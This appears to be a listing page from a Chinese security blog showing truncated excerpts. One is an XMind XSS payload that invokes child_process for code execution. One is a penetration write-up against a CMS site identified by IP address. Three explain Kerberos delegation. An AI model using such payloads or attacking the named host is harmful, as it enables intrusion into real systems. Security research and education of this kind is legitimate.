0x00 前言
测试环境：
XMind 202005082128
0x01 payload（需要在大纲板块进行触发）
<img src=x onerror="const exec = require('child_process')...
Adminxe
3年前 (2021-05-11) 2643℃ 1评论
35喜欢
0x00 CMS类型
9ccms
FOFA：
body=”久草CMS”
0x01 渗透站点
黄色站点：https://142.11.219.115/
0x02 渗透过程
后台：https://14...
Adminxe
3年前 (2021-05-10) 99903℃ 5评论
95喜欢
注意区别：
约束性委派 不能跨域进行委派，基于资源的约束性委派可以跨域和林
如果约束性委派，必须拥有 SeEnableDelegationPrivilege 权限，该特权是敏感的，通常仅授予域管理员。为了使用户/资源更加独立，Windows Server 2012 ...
Adminxe
3年前 (2021-05-04) 560℃ 0评论
0喜欢
由于非约束性委派的不安全性，微软在 Windows Server 2003 中引入了约束委派。区别在于不会直接把 TGT 给服务，所发送的认证信息中包含了允许访问的服务，即不允许服务代表用户去访问其他服务。同时为了在 Kerberos 协议层面对约束性委派的支持， 微软扩展了两...
Adminxe
3年前 (2021-05-04) 265℃ 0评论
0喜欢
在Windows 2000 Server 首次发布 Active Directory 时，Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerbe...
Adminxe
3年前 (2021-05-04) 325℃ 0评论
0喜欢
